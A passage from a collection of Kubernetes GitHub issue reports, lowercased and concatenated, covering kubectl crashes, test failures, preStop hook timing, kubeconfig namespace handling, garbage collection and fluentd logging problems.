+0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .}  kubernetes-dashboard-76c679977c-rwx8z        pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 01:36:09 +0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .}  metrics-server-v0.2.0-56fddcccfc-5h5zs       pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 01:36:10 +0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:197           failure cluster statistics: 1 tests failed,    5 jobs failed,    63 builds failed. failure stats cover 1 day time range '3 oct 2017 15:37 utc' to '4 oct 2017 15:37 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 5 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-alpha-features | 21 |  4 oct 2017 14:43 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-alpha-features/19779  | | ci-kubernetes-e2e-gci-gke-alpha-features | 19 |  4 oct 2017 14:51 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/20506  | | ci-kubernetes-e2e-gke-device-plugin-gpu | 10 |  4 oct 2017 13:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu/107  |   current status  https://go.k8s.io/triage cd531c03ac2579986320

is this a bug report or feature request?  :\r   \r   what happened  :\r \r i accidentally tried to apply an invalid v1.list with  kubectl apply :\r \r    \r % cat testlist.json \r {\r         \ apiversion\ : \ v1\ ,\r         \ kind\ : \ list\ ,\r         \ items\ :       \r }\r    \r \r kubectl responded by crashing with a panic:\r \r    \r % kubectl apply -f testlist.json\r panic: interface conversion: interface {} is   interface {}, not map string interface {}\r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi/validation.getobjectkind 0x14dbba0, 0xc420cffd00, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x40b2d2, 0xc4213fc2fc \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi/validation/validation.go:111 +0x539\r k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi/validation.  schemavalidation .validatelist 0xc4209e6260, 0x15a5c80, 0xc4213d33b0, 0x4, 0xc4213fc201, 0x2 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi/validation/validation.go:69 +0x14f\r k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi/validation.  schemavalidation .validatebytes 0xc4209e6260, 0xc4213fe480, 0x3a, 0x40, 0xc42064f450, 0x4ed384 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi/validation/validation.go:55 +0x134\r k8s.io/kubernetes/pkg/kubectl/validation.conjunctiveschema.validatebytes 0xc42107e8e0, 0x2, 0x2, 0xc4213fe480, 0x3a, 0x40, 0x4ed029, 0xc4213fe480 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/validation/schema.go:130 +0x9a\r k8s.io/kubernetes/pkg/kubectl/validation.  conjunctiveschema .validatebytes 0xc42107e900, 0xc4213fe480, 0x3a, 0x40, 0xc42064f528, 0x443693 \r         <autogenerated>:3 +0x7d\r k8s.io/kubernetes/pkg/kubectl/resource.validateschema 0xc4213fe480, 0x3a, 0x40, 0x2183000, 0xc42107e900, 0x20, 0xc42064f500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:222 +0x68\r k8s.io/kubernetes/pkg/kubectl/resource.  streamvisitor .visit 0xc4213fe3c0, 0xc420cffc20, 0x2189080, 0xc420cffc80 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:543 +0x269\r k8s.io/kubernetes/pkg/kubectl/resource.  filevisitor .visit 0xc420cffa60, 0xc420cffc20, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:502 +0x181\r k8s.io/kubernetes/pkg/kubectl/resource.eagervisitorlist.visit 0xc4213fc250, 0x1, 0x1, 0xc4213d3350, 0x1, 0xc4213d3350 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:211 +0x100\r k8s.io/kubernetes/pkg/kubectl/resource.  eagervisitorlist .visit 0xc420cffb00, 0xc4213d3350, 0x7f2a1642c960, 0x0 \r         <autogenerated>:115 +0x69\r k8s.io/kubernetes/pkg/kubectl/resource.flattenlistvisitor.visit 0x2182d80, 0xc420cffb00, 0xc4213fe380, 0xc4213fe440, 0xc420cffb01, 0xc4213fe440 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:417 +0xa3\r k8s.io/kubernetes/pkg/kubectl/resource.  flattenlistvisitor .visit 0xc420cffb20, 0xc4213fe440, 0x18, 0x18 \r         <autogenerated>:130 +0x69\r k8s.io/kubernetes/pkg/kubectl/resource.decoratedvisitor.visit 0x2182e00, 0xc420cffb20, 0xc420cffb60, 0x3, 0x4, 0xc420cffbe0, 0x1, 0xc420cffbe0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:325 +0xd8\r k8s.io/kubernetes/pkg/kubectl/resource.  decoratedvisitor .visit 0xc4213d32c0, 0xc420cffbe0, 0x7f2a1642c960, 0x15d530c \r         <autogenerated>:153 +0x73\r k8s.io/kubernetes/pkg/kubectl/resource.continueonerrorvisitor.visit 0x2182d00, 0xc4213d32c0, 0xc42124f970, 0x7f2a1642c960, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:352 +0xf1\r k8s.io/kubernetes/pkg/kubectl/resource.  continueonerrorvisitor .visit 0xc4213fc270, 0xc42124f970, 0x40f3f8, 0xb0 \r         <autogenerated>:144 +0x60\r k8s.io/kubernetes/pkg/kubectl/resource.  result .visit 0xc4203085b0, 0xc42124f970, 0x0, 0xc4213d3320 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/result.go:95 +0x62\r k8s.io/kubernetes/pkg/kubectl/cmd.runapply 0x21abde0, 0xc4203db410, 0xc4201b9d40, 0x2181e40, 0xc42000c018, 0x2181e40, 0xc42000c020, 0xc42014b5e0, 0x176e8e8, 0x4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/apply.go:351 +0x70c\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmdapply.func1 0xc4201b9d40, 0xc420284fa0, 0x0, 0x2 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/apply.go:113 +0x188\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4201b9d40, 0xc420284b00, 0x2, 0x2, 0xc4201b9d40, 0xc420284b00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x22b\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc42022c900, 0x7000105, 0x0, 0xffffffffffffffff \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x339\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc42022c900, 0xc4203db410, 0x2181e00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:39 +0xd5\r main.main  \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:26 +0x22\r    \r \r   what you expected to happen  :\r \r an error message to be printed, perhaps of the \ invalid list item:   \ .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see description.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release : centos 7.4  1708 \r - kernel  e.g.  uname -a  : linux staging-head-2 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: custom scripts\r - others:\r

what happened  :\r unit test failed with a data race in a seemingly unrelated pr https://github.com/kubernetes/kubernetes/pull/63284\r logs: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/63284/pull-kubernetes-bazel-test/47917/\r    \r ==================\r warning: data race\r write at 0x00c42051c3c0 by goroutine 97:\r   k8s.io/kubernetes/pkg/kubelet/config.watchfilechanged.func1.3  \r       pkg/kubelet/config/file_linux_test.go:341 +0x26a\r \r previous read at 0x00c42051c3c0 by goroutine 106:\r   reflect.typedmemmove  \r       goroot/src/runtime/mbarrier.go:265 +0x0\r   reflect.packeface  \r       goroot/src/reflect/value.go:119 +0x101\r   reflect.valueinterface  \r       goroot/src/reflect/value.go:978 +0x16a\r   reflect.value.interface  \r       goroot/src/reflect/value.go:948 +0x51\r   k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal  \r       vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:221 +0x517\r   k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal  \r       vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:186 +0x9da\r   k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal  \r       vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:172 +0xd7e\r   k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal  \r       vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:186 +0x9da\r   k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal  \r       vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:186 +0x9da\r   k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal  \r       vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:183 +0x14d7\r   k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal  \r       vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:172 +0xd7e\r   k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepvalueequal  \r       vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:186 +0x9da\r   k8s.io/apimachinery/third_party/forked/golang/reflect.equalities.deepequal  \r       vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:243 +0x2d5\r   k8s.io/kubernetes/pkg/kubelet/config.expectupdate  \r       pkg/kubelet/config/file_linux_test.go:400 +0x669\r   k8s.io/kubernetes/pkg/kubelet/config.watchfilechanged.func1  \r       pkg/kubelet/config/file_linux_test.go:352 +0x7b0\r   k8s.io/kubernetes/pkg/kubelet/config.watchfilechanged  \r       pkg/kubelet/config/file_linux_test.go:363 +0xe2\r   k8s.io/kubernetes/pkg/kubelet/config.testwatchfilechanged  \r       pkg/kubelet/config/file_linux_test.go:129 +0x96\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r \r goroutine 97  running  created at:\r   k8s.io/kubernetes/pkg/kubelet/config.watchfilechanged.func1  \r       pkg/kubelet/config/file_linux_test.go:350 +0x771\r   k8s.io/kubernetes/pkg/kubelet/config.watchfilechanged  \r       pkg/kubelet/config/file_linux_test.go:363 +0xe2\r   k8s.io/kubernetes/pkg/kubelet/config.testwatchfilechanged  \r       pkg/kubelet/config/file_linux_test.go:129 +0x96\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r \r goroutine 106  running  created at:\r   testing.  t .run  \r       goroot/src/testing/testing.go:824 +0x564\r   testing.runtests.func1  \r       goroot/src/testing/testing.go:1063 +0xa4\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r   testing.runtests  \r       goroot/src/testing/testing.go:1061 +0x4e1\r   testing.  m .run  \r       goroot/src/testing/testing.go:978 +0x2cd\r   main.main  \r       bazel-out/k8-fastbuild/bin/pkg/kubelet/config/linux_amd64_race_stripped/go_default_test~/testmain.go:179 +0x3ad\r ==================\r ==================\r warning: data race\r read at 0x00c420726aa0 by goroutine 97:\r   k8s.io/kubernetes/pkg/kubelet/config.watchfilechanged.func1.3  \r       pkg/kubelet/config/file_linux_test.go:343 +0x2e7\r \r previous write at 0x00c420726aa0 by goroutine 106:\r   k8s.io/kubernetes/pkg/kubelet/config.watchfilechanged.func1  \r       pkg/kubelet/config/file_linux_test.go:356 +0x80d\r   k8s.io/kubernetes/pkg/kubelet/config.watchfilechanged  \r       pkg/kubelet/config/file_linux_test.go:363 +0xe2\r   k8s.io/kubernetes/pkg/kubelet/config.testwatchfilechanged  \r       pkg/kubelet/config/file_linux_test.go:129 +0x96\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r \r goroutine 97  running  created at:\r   k8s.io/kubernetes/pkg/kubelet/config.watchfilechanged.func1  \r       pkg/kubelet/config/file_linux_test.go:350 +0x771\r   k8s.io/kubernetes/pkg/kubelet/config.watchfilechanged  \r       pkg/kubelet/config/file_linux_test.go:363 +0xe2\r   k8s.io/kubernetes/pkg/kubelet/config.testwatchfilechanged  \r       pkg/kubelet/config/file_linux_test.go:129 +0x96\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r \r goroutine 106  running  created at:\r   testing.  t .run  \r       goroot/src/testing/testing.go:824 +0x564\r   testing.runtests.func1  \r       goroot/src/testing/testing.go:1063 +0xa4\r   testing.trunner  \r       goroot/src/testing/testing.go:777 +0x16d\r   testing.runtests  \r       goroot/src/testing/testing.go:1061 +0x4e1\r   testing.  m .run  \r       goroot/src/testing/testing.go:978 +0x2cd\r   main.main  \r       bazel-out/k8-fastbuild/bin/pkg/kubelet/config/linux_amd64_race_stripped/go_default_test~/testmain.go:179 +0x3ad\r ==================\r e0602 12:54:50.094795      15 file_linux.go:61  unable to read config path \ /tmp/dir-test733403562\ : error while processing inotify event  \ /tmp/dir-test733403562\ : 0x400 == in_delete_self : the watched path is deleted\r --- fail: testwatchfilechanged  0.88s \r \tfile_linux_test.go:417: expected empty update, got types.podupdate{pods:   v1.pod{  v1.pod  0xc420575c00 }, op:0, source:\ file\ }\r \tfile_linux_test.go:372: unable to remove test file /tmp/dir-test733403562/test_pod_manifest_0_ch: remove /tmp/dir-test733403562/test_pod_manifest_0_ch: no such file or directory\r \ttesting.go:730: race detected during execution of test\r fail\r    \r \r i couldn't find an existing report about the issue so here it is.\r \r  

is this a bug report or feature request?  :\r \r  \r \r taintbasedeviction: https://github.com/kubernetes/features/issues/166\r

i was trying to find some alternative for docker-swarm rollback command, which allow you to specify rollback strategy in deployment file. in k8s ideally it should use readinessprobe , and if didn't pass failurethreshold  it should rollback, before starting deployment of the next pod  to avoid downtime .\r \r currently in my deployment script i'm using hook  kubectl rollout status deployment $deployment_name || kubectl rollout undo deployment $deployment_name , which works, but it's not ideal because first rollout command will trigger error way after unhealthy pod will be deployed and healthy one will be destroyed which will cause downtime.\r \r ideally it shouldn't even kill current pod before new one will pass readinessprobe

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r in-cluster namespace isn't overridden by kubeconfig if the context is specified via kubectl  --context  flag. when using  kubectl config use-context , the override works as expected.\r \r   what you expected to happen  :\r if i specify  namespace: default  for a  test  context in kubeconfig, then i expect  kubectl --context=test  to use  default  as the default namespace, regardless of whatever's in  /var/run/secrets/kubernetes.io/serviceaccount/namespace .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubectl run -i -t --rm test --image=lachlanevenson/k8s-kubectl:v1.10.5 --restart=never -n kube-system --command -- sh                                                                                                            18:21:39 \r if you don't see a command prompt, try pressing enter.\r ~   kubectl version --client\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r ~  \r ~     by default the in-cluster namespace is used as expected\r ~   kubectl get pods --v=99 2>&1 | grep \ using in-cluster namespace\ \r i0103 16:23:03.535870       8 merged_client_builder.go:160  using in-cluster namespace\r ~   kubectl config set-context test --namespace=default\r context \ test\  created.\r ~  \r ~     i would expect this not to use in-cluster namespace, but it does\r ~   kubectl get pods --context=test --v=99 2>&1 | grep \ using in-cluster namespace\ \r i0103 16:24:09.477277      51 merged_client_builder.go:160  using in-cluster namespace\r ~  \r ~     this workaround allows not using the in-cluster namespace\r ~   kubectl config use-context test\r switched to context \ test\ .\r ~   kubectl get pods --v=99 2>&1 | grep \ using in-cluster namespace\  \r ~  \r    \r \r   anything else we need to know?  :\r  44570 supposedly fixed this issue, but not for the case where the context is specified via a command line flag   --context  .\r \r this is because this line\r https://github.com/kubernetes/kubernetes/blob/32ac1c9073b132b8ba18aa830f46b77dcceb0723/staging/src/k8s.io/client-go/tools/clientcmd/merged_client_builder.go l154\r checks for  raw.contexts raw.currentcontext  .\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.5  details above \r - cloud provider or hardware configuration: -\r - os  e.g. from /etc/os-release : -\r - kernel  e.g.  uname -a  : -\r - install tools: -\r - others: -\r \r <!-- do not edit below this line -->\r 

once a delete api call is made to the running pod, the pod is terminated as soon as the main command finishes executing. as a result, the prestop hook does complete gracefully when the execution time is well within the termination grace period.\r \r   what happened  :\r quoting the comment  https://github.com/kubernetes/kubernetes/issues/55807 issuecomment-459723439  from  55807,\r \r   when    t containerprocess  < t prestopprocess  < t terminationgraceperiod  \r   outcome:   once container started, pod delete api is requested after 16s leading to immediate prestop handler invocation. asap container process finishes, container is terminated without completing prestop process.\r   effective log summary scenario 2:-  \r \r    \r 11:42:20.230742 containerprocess started\r 11:42:23.940196667 containerprocess creates file\r 11:42:36.721807 delete api call\r 11:42:36.721980 kuberuntime sigterm issued killing container \r 11:42:36.787709378 prestopprocess started  from 'mark' file stat \r 11:42:38.791633370 prestopprocess write to file  lastoperation. from 'mark' file stat \r 11:43:13.846303794 containerprocess running  lastoperation, writing to file, from 'message' file stat \r 11:43:14.697992 containerdied  processfinished/terminated \r 11:43:14.711791 runtime service fails to make rpc call on unavailable/terminated container\r 11:43:14.697992 kubelet starts cleaning up resources and ensures all associated resources are removed\r 11:43:26.857793 delete api request is made again  internal kubelet request invocation leading \ pod not found\  response \r    \r   what you expected to happen  :\r the prestop hook should be allowed to complete when the duration is within the termination grace period. it is expected that the pod should not be moved to the terminated state until and unless prestop completes or termination grace period limit is reached, whichever is earlier.\r \r   how to reproduce it  as minimally and precisely as possible   :\r containers:\r   - name: lifecycle-demo-container\r     image: nginx\r     lifecycle:\r      poststart:\r         exec:\r           command:  \ /bin/sh\ , \ -c\ , \ touch /lifecycle/message\  \r      prestop:\r         exec:\r            command:  \ /bin/bash\ , \ -c\ , \ touch /lifecycle/mark && sleep 80 && echo hi > /lifecycle/mark\  \r     command:  \ /bin/sh\ , \ -c\ , \ sleep 50 && echo terminating > /lifecycle/message\  \r     volumemounts:\r     - name: test-dir\r       mountpath: /lifecycle\r   terminationgraceperiodseconds: 120\r   restartpolicy: never\r   volumes:\r   - name: test-dir\r     hostpath:\r      path: /home/vagrant/test\r      type: directory\r \r   anything else we need to know?  :\r as per the analysis, it is observed that once the main command execution is completed, the pod goes into a terminated state, ensuring no time for prestop to complete. after a delete api call is issues, sigterm call and prestop hook execution are started simultaneously. once the main command is completed, the prestop is killed abruptly and the pod is moved to terminate state. an attempt to capture and trap the sigterm was made, however to no avail as the behavior still remains the same.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : x86_64 gnu/linux\r - install tools: \r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gci-gce-serial\r \r   which test s  are failing  :\r -  sig-network  dns configmap nameserver  ipv4  change stubdomain should be able to change stubdomain configuration  slow  serial \r -  sig-network  dns configmap nameserver  ipv4  forward external name lookup should forward externalname lookup to upstream nameserver\r -  sig-network  dns configmap nameserver  ipv4  forward ptr lookup should forward ptr records lookup to upstream nameserver  slow  serial \r \r   since when has it been failing  :\r these tests have been failing since 5/18.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-serial\r \r   reason for failure  :\r all of these have this failure message in common:\r    \r may 20 13:10:57.567: dig result did not match:   string{\ ;; connection timed out; no servers could be reached\ } after 2m0s\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/dns_common.go:103\r    \r \r the failures coincide with  78030 for which the possible fix is  78033.\r however, we are filing these failures separate from  78123 to see if there are any additional steps that need to be done for these series of tests.\r \r /cc @kubernetes/sig-network-test-failures \r /  test\r /milestone v1.15\r /cc @jimangel @smourapina @rarchk @alenkacz

my gke cluster is 39 days old. i tried to start a pod on it today, and it failed unexpectedly.  the pod failed to start with reason \ unable to parse auth field\ .  this happens on all 4 of my kubelets, and with a variety of images, including both docker-hub-hosted images and gcr.io images.  in the kubelet logs i see things like:      w0916 17:32:55.508718    3018 manager.go:1569  failed to pull image \ busybox\  from pod \ pi2_default\  and container \ pi\ : unable to parse auth field      my kubelet version says:        kubelet --version kubernetes v1.0.1      my kubectl version says:      $ kubectl version client version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.3\ , gitcommit:\ 61c6ac5f350253a4dc002aee97b7db7ff01ee4ca\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.4\ , gitcommit:\ 65d28d5fd12345592405714c81cd03b9c41d41d9\ , gittreestate:\ clean\ }

kubelet can manage only one storage partition as of today.  kubelet uses cadvisor to identify and track the overall usage of the partition where docker's storage directory is located.  if the docker daemon's storage directory is different from that of the root filesystem, kubelet will not realize this. depending on how the node is setup, kubelet's garbage collection behavior will change.  single partition scenario: 1. if the storage backend is either  aufs  or  btrfs , kubelet will track the entire root partition usage and perform image & container gc whenever the usage cross a user configurable  high watermark  https://github.com/kubernetes/kubernetes/blob/b9cfab87e33ea649bdd13a1bd243c502d76e5d22/docs/admin/garbage-collection.md l83 . this includes logs, local disk based volumes, etc. 2. if the storage backend is  devicemapper , kubelet is expected to track the usage of the  pool  device which includes the image layers and the container root filesystems. gc is expected to be triggered whenever the underlying storage availability for the pool device falls below the high watermark. 3. support for overlayfs does not exist. kubelet will not perform any gc on nodes running overlayfs. relevant cadvisor issue  here  https://github.com/google/cadvisor/issues/932 .  multiple partition scenario: 1.  if the storage backend is either  aufs  or  btrfs , kubelet will use the partition where docker's storage directory is located and use it for gc purposes. if  --kubelet-root-dir   default is  /var/lib/kubelet   is on a different partition when compared to that of docker daemon, then gc will only happen when the usage on the docker partition crosses the high watermark.  2. in the case of  devicemapper , kubelet will use the storage device allocated for docker images and container root fs. excessive logging usage by docker container's will not trigger gc, since log files are stored on a different partition.  from a user's perspective, the system should do everything possible to free up storage on local disk, possibly without any impact to running pods. if that assumption is valid, performing gc even on storage usage by local disk volumes is desirable.  we want to support scheduling local disk as a schedulable resource in the near future. afaik supporting multiple partitions hasn't been considered as a requirement. once disk limits can be set on pod  for volumes  and containers  root filesystem and logs , gc might not matter as much as it does today. the system might evict pods in the future to free up space on the local disk. this might not work as intended with multiple partitions unless kubelet is updated.  the existing gc behavior can be confusing to users.   i'd like to get a consensus on the desired kubelet behavior when it comes to garbage collection.   cc @kubernetes/goog-node @bgrant0607 @thockin @smarterclayton

kubernetes 1.2   consider the following  secret  definition:      {     \ kind\ : \ secret\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {         \ name\ : \ rails\      },     \ data\ : {         \ db.conf\ : \ cmvkywn0zwqk\ ,         \ dbdotconf\ : \ cmvkywn0zwqk\      },     \ type\ : \ opaque\  }       kubectl get secrets rails -o \ jsonpath={.data 'db.conf' }\   returns:      error: error executing jsonpath \ {.data 'db.conf' }\ : db is not found      while  kubectl get secrets rails -o \ jsonpath={.data 'dbdotconf' }\   works.

env : kubernetes in aws  we tried the new cluster on kubernetes version 1.3.3 on aws.  while group the logs we get into the kibana and searched the index. surprised that apart from \ .kibana\  none of the index are there in elasticsearch.  i check the fluentd pods . it is continuously shows the  error like below      2016-07-28t00:17:03.664465814z 2016-07-28 00:17:03 +0000  warn : /var/log/containers/fluentd-elasticsearch-ip-172-20-0-52.us-west-2.compute.internal_kube-system_fluentd-elasticsearch-6a49f2af0d0714085d386fb931edaf541c8c4fa9b1f0da091a4b300e3a11e003.log unreadable. it is excluded and would be examined next time. 2016-07-28t00:17:03.664559691z 2016-07-28 00:17:03 +0000  warn : /var/log/containers/kibana-logging-v1-nxjuy_kube-system_kibana-logging-ab427edc0c0edd25fc55edf646e1537e49cc38ff2eb051317d5fcf170131fc71.log unreadable. it is excluded and would be examined next time. 2016-07-28t00:17:03.664593370z 2016-07-28 00:17:03 +0000  warn : /var/log/containers/kube-dns-v17-69s8t_kube-system_pod-3d1e77939c1fab4db8cf041ba3d1a459b88abeabb277e5440f7796ff0dc78812.log unreadable. it is excluded and would be examined next time. 2016-07-28t00:17:03.664642183z 2016-07-28 00:17:03 +0000  warn : /var/log/containers/kibana-logging-v1-nxjuy_kube-system_pod-87721bfa3323e44fb503551b17c9a94ae47901dd5cf11b17cf804a8200907d1b.log unreadable. it is excluded and would be examined next time. 2016-07-28t00:17:03.664678048z 2016-07-28 00:17:03 +0000  warn : /var/log/containers/elasticsearch-logging-v1-bxa9m_kube-system_pod-ace752fa24ccb772f71200faef350c712f4a08496eb1db5b7d5836a3a409a644.log unreadable. it is excluded and would be examined next time.      i get into the fluentd-pods and get the mount points      root@fluentd-elasticsearch-ip-172-20-0-52:/mnt  df -h filesystem                           size  used avail use% mounted on none                                  30g  4.8g   24g  18% / tmpfs                                3.7g     0  3.7g   0% /dev tmpfs                                3.7g     0  3.7g   0% /sys/fs/cgroup /dev/xvda1                            32g  3.3g   27g  11% /var/log /dev/mapper/vg--ephemeral-ephemeral   30g  4.8g   24g  18% /etc/hosts shm                                   64m     0   64m   0% /dev/shm shm                                   64m     0   64m   0% /var/lib/docker/containers/43922ac6ea9ee45b59b51ad29586d94db0e5f59860cd2e185913d5cddd25d370/shm shm                                   64m     0   64m   0% /var/lib/docker/containers/7424dae6b429fe1a6bf19cc40c42c236cf6918b6cf61ec44eae8b1b106e31f04/shm shm                                   64m     0   64m   0% /var/lib/docker/containers/87721bfa3323e44fb503551b17c9a94ae47901dd5cf11b17cf804a8200907d1b/shm shm                                   64m     0   64m   0% /var/lib/docker/containers/b920173a0caf9d79827673b6d4d4173e0dd3277d70acdb6202d970c68930304c/shm shm                                   64m     0   64m   0% /var/lib/docker/containers/b97ab84116826a2c941a7272b26c442a724a1287c40030a90d6f182ccb871c51/shm shm                                   64m     0   64m   0% /var/lib/docker/containers/3d1e77939c1fab4db8cf041ba3d1a459b88abeabb277e5440f7796ff0dc78812/shm shm                                   64m     0   64m   0% /var/lib/docker/containers/6b6f5b8fcbc37826e58d51a3b922547cd918ff85697b69696d134c875878e352/shm shm                                   64m     0   64m   0% /var/lib/docker/containers/ace752fa24ccb772f71200faef350c712f4a08496eb1db5b7d5836a3a409a644/shm          oot@fluentd-elasticsearch-ip-172-20-0-52:/mnt  cd /var/log/containers/ root@fluentd-elasticsearch-ip-172-20-0-52:/var/log/containers  ls -l total 100 lrwxrwxrwx 1 root root 171 jul 28 07:11 cpeservice-7tpvp_default_pod-f28f2a2d9f1f7575d03533571ea6465b8b508de0c03ebd6a7b29eb1bcea88b5b.log -> 